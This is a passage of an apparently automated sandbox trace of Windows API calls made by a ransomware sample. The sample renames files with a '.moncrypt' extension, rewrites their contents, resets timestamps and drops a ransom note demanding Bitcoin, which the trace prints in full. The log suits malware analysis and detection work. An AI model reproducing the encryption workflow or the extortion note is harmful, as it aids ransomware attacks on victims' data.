0x440004 [0049.940] GlobalUnlock (hMem=0x440004) returned 0 [0049.940] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0049.940] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0049.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0049.940] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0049.940] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0049.940] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d98, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0049.940] GlobalLock (hMem=0x440004) returned 0x550170 [0049.940] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.940] GlobalUnlock (hMem=0x440004) returned 0 [0049.940] GlobalLock (hMem=0x440004) returned 0x550170 [0049.940] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.940] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.940] GlobalUnlock (hMem=0x440004) returned 0 [0049.940] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.940] GlobalUnlock (hMem=0x44000c) returned 0 [0049.940] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.940] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.940] GlobalUnlock (hMem=0x44000c) returned 0 [0049.940] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.940] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.940] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.940] GlobalUnlock (hMem=0x44000c) returned 0 [0049.940] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.941] GlobalUnlock (hMem=0x440004) returned 0 [0049.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0049.941] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.941] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0049.941] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0049.941] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0049.941] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.941] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.941] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.941] GlobalUnlock (hMem=0x440004) returned 0 [0049.941] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.941] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.941] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.941] GlobalUnlock (hMem=0x440004) returned 0 [0049.941] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.941] GlobalUnlock (hMem=0x44000c) returned 0 [0049.941] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0049.942] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0049.942] CloseHandle (hObject=0x18c) returned 1 [0049.943] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\я")) returned 1 [0049.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0x54e240 [0049.944] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0049.944] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0049.945] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0049.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", dwFileAttributes=0x20) returned 1 [0049.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0049.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.moncrypt")) returned 1 [0049.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0049.946] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0049.946] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x377ef [0049.946] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0049.946] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0049.948] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.948] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.948] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.948] GlobalUnlock (hMem=0x440004) returned 0 [0049.948] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.948] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.948] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.948] GlobalUnlock (hMem=0x440004) returned 0 [0049.948] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.948] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.948] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.948] GlobalUnlock (hMem=0x44000c) returned 0 [0049.948] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.949] GlobalUnlock (hMem=0x440004) returned 0 [0049.949] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.949] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.949] GlobalUnlock (hMem=0x440004) returned 0 [0049.949] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.949] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.949] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.949] GlobalUnlock (hMem=0x440004) returned 0 [0049.949] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0049.949] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0049.949] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0049.950] SetFilePointer (in: hFile=0x18c, lDistanceToMove=227311, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x377ef [0049.950] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0049.951] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0049.951] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0049.962] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0049.962] CloseHandle (hObject=0x18c) returned 1 [0049.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0049.965] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0049.965] CloseHandle (hObject=0x18c) returned 1 [0049.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.moncrypt", dwFileAttributes=0x20) returned 1 [0049.966] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.966] GlobalUnlock (hMem=0x440004) returned 0 [0049.966] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.966] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.966] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.966] GlobalUnlock (hMem=0x440004) returned 0 [0049.966] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.966] GlobalUnlock (hMem=0x44000c) returned 0 [0049.966] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69d30, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.966] GetLastError () returned 0x2 [0049.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0049.967] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0049.968] CloseHandle (hObject=0x18c) returned 1 [0049.968] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0049.968] GetLastError () returned 0x12 [0049.968] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.968] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.968] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.968] GlobalUnlock (hMem=0x44000c) returned 0 [0049.968] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.968] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.968] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.968] GlobalUnlock (hMem=0x44000c) returned 0 [0049.968] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.968] GlobalUnlock (hMem=0x440004) returned 0 [0049.968] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3f063380, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f063380, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0049.968] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0049.969] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.969] GlobalLock (hMem=0x440004) returned 0x550170 [0049.969] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.969] GlobalUnlock (hMem=0x440004) returned 0 [0049.969] GlobalLock (hMem=0x440004) returned 0x550170 [0049.969] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.969] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.969] GlobalUnlock (hMem=0x440004) returned 0 [0049.969] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.969] GlobalUnlock (hMem=0x44000c) returned 0 [0049.969] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.969] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3f063380, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f063380, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.969] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.969] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.969] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.969] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.969] GlobalUnlock (hMem=0x44000c) returned 0 [0049.969] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.969] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.969] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.969] GlobalUnlock (hMem=0x44000c) returned 0 [0049.969] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.970] GlobalUnlock (hMem=0x440004) returned 0 [0049.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.970] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0049.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.970] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.970] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.970] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.970] GlobalUnlock (hMem=0x440004) returned 0 [0049.970] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.970] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.970] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.970] GlobalUnlock (hMem=0x440004) returned 0 [0049.970] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.970] GlobalUnlock (hMem=0x44000c) returned 0 [0049.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.970] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.970] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.970] GlobalUnlock (hMem=0x44000c) returned 0 [0049.970] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.970] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.970] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.970] GlobalUnlock (hMem=0x44000c) returned 0 [0049.970] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.970] GlobalUnlock (hMem=0x440004) returned 0 [0049.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.970] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033", len=0x43 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033") returned 1 [0049.971] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.971] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.971] GlobalUnlock (hMem=0x440004) returned 0 [0049.971] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.971] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.971] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.971] GlobalUnlock (hMem=0x440004) returned 0 [0049.971] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.971] GlobalUnlock (hMem=0x44000c) returned 0 [0049.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@싰R싄R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0049.971] GetLastError () returned 0x3 [0049.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\") returned 0x44 [0049.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0049.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0049.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="셤R䱠@숼R企@\x18㿬Q\x181")) returned 0xffffffff [0049.972] GetLastError () returned 0x2 [0049.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\", cchLength=0x44 | out: 